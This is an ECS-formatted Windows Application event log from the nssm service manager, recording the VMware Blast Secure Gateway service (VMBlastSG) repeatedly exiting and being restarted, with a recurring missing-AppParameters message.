{"@timestamp":1646747858985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158272","158272","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161557}}
{"@timestamp":1646747859002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161558}}
{"@timestamp":1646747859003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161559}}
{"@timestamp":1646747859003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161560}}
{"@timestamp":1646747859004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","64000"]}}},"module":"Application","provider":"nssm","sequence":161561}}
{"@timestamp":1646747923618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161562}}
{"@timestamp":1646747923619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161563}}
{"@timestamp":1646747923620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155872","0"]}}},"module":"Application","provider":"nssm","sequence":161564}}
{"@timestamp":1646747923621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155872","155872","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161565}}
{"@timestamp":1646747923638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161566}}
{"@timestamp":1646747923639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161567}}
{"@timestamp":1646747923639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161568}}
{"@timestamp":1646747923640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161569}}
{"@timestamp":1646748052148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161570}}
{"@timestamp":1646748052149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161571}}
{"@timestamp":1646748052149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157508","0"]}}},"module":"Application","provider":"nssm","sequence":161572}}
{"@timestamp":1646748052151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157508","157508","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161573}}
{"@timestamp":1646748052170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161574}}
{"@timestamp":1646748052171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161575}}
{"@timestamp":1646748052171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161576}}
{"@timestamp":1646748052172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161577}}
{"@timestamp":1646748181200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161578}}
{"@timestamp":1646748181206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161579}}
{"@timestamp":1646748181206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156980","0"]}}},"module":"Application","provider":"nssm","sequence":161580}}
{"@timestamp":1646748181206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156980","156980","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161581}}
{"@timestamp":1646748181226,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161582}}
{"@timestamp":1646748181226,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161583}}
{"@timestamp":1646748181227,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161584}}
{"@timestamp":1646748181227,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161585}}
{"@timestamp":1646748309882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161586}}
{"@timestamp":1646748309883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161587}}
{"@timestamp":1646748309884,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156624","0"]}}},"module":"Application","provider":"nssm","sequence":161588}}
{"@timestamp":1646748309885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156624","156624","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161589}}
{"@timestamp":1646748309905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161590}}
{"@timestamp":1646748309906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161591}}
{"@timestamp":1646748309906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161592}}
{"@timestamp":1646748309907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161593}}
{"@timestamp":1646748438455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161594}}
{"@timestamp":1646748438456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161595}}
{"@timestamp":1646748438457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155720","0"]}}},"module":"Application","provider":"nssm","sequence":161596}}
{"@timestamp":1646748438458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155720","155720","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161597}}
{"@timestamp":1646748438479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157688","0"]}}},"module":"Application","provider":"nssm","sequence":161598}}
{"@timestamp":1646748438480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157688","155720","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161599}}
{"@timestamp":1646748438498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161600}}
{"@timestamp":1646748438499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161601}}
{"@timestamp":1646748438501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161602}}
{"@timestamp":1646748438502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161603}}
{"@timestamp":1646748566999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161604}}
{"@timestamp":1646748567000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161605}}
{"@timestamp":1646748567000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","144136","0"]}}},"module":"Application","provider":"nssm","sequence":161606}}
{"@timestamp":1646748567001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["144136","144136","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161607}}
{"@timestamp":1646748567020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161608}}
{"@timestamp":1646748567020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161609}}
{"@timestamp":1646748567021,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161610}}
{"@timestamp":1646748567021,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161611}}
{"@timestamp":1646748695528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161612}}
{"@timestamp":1646748695529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161613}}
{"@timestamp":1646748695530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156852","0"]}}},"module":"Application","provider":"nssm","sequence":161614}}
{"@timestamp":1646748695530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156852","156852","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161615}}
{"@timestamp":1646748695546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161616}}
{"@timestamp":1646748695546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161617}}
{"@timestamp":1646748695547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161618}}
{"@timestamp":1646748695548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161619}}
{"@timestamp":1646748824107,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161620}}
{"@timestamp":1646748824108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161621}}
{"@timestamp":1646748824109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157772","0"]}}},"module":"Application","provider":"nssm","sequence":161622}}
{"@timestamp":1646748824110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157772","157772","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161623}}
{"@timestamp":1646748824128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161624}}
{"@timestamp":1646748824129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161625}}
{"@timestamp":1646748824130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161626}}
{"@timestamp":1646748824131,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161627}}
{"@timestamp":1646748952693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161628}}
{"@timestamp":1646748952694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161629}}
{"@timestamp":1646748952694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155824","0"]}}},"module":"Application","provider":"nssm","sequence":161630}}
{"@timestamp":1646748952695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155824","155824","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161631}}
{"@timestamp":1646748952713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161632}}
{"@timestamp":1646748952714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161633}}
{"@timestamp":1646748952714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161634}}
{"@timestamp":1646748952715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161635}}
{"@timestamp":1646749081329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161636}}
{"@timestamp":1646749081330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161637}}
{"@timestamp":1646749081331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155136","0"]}}},"module":"Application","provider":"nssm","sequence":161638}}
{"@timestamp":1646749081331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155136","155136","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161639}}
{"@timestamp":1646749081351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161640}}
{"@timestamp":1646749081352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161641}}
{"@timestamp":1646749081352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161642}}
{"@timestamp":1646749081353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161643}}
{"@timestamp":1646749209859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161644}}
{"@timestamp":1646749209860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161645}}
{"@timestamp":1646749209861,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156020","0"]}}},"module":"Application","provider":"nssm","sequence":161646}}
{"@timestamp":1646749209862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156020","156020","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161647}}
{"@timestamp":1646749209881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161648}}
{"@timestamp":1646749209881,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161649}}
{"@timestamp":1646749209882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161650}}
{"@timestamp":1646749209883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161651}}
{"@timestamp":1646749338371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161652}}
{"@timestamp":1646749338372,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161653}}
{"@timestamp":1646749338374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158376","0"]}}},"module":"Application","provider":"nssm","sequence":161654}}
{"@timestamp":1646749338378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158376","158376","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161655}}
{"@timestamp":1646749338398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161656}}
{"@timestamp":1646749338399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161657}}
{"@timestamp":1646749338400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161658}}
{"@timestamp":1646749338401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161659}}
{"@timestamp":1646749466899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161660}}
{"@timestamp":1646749466900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161661}}
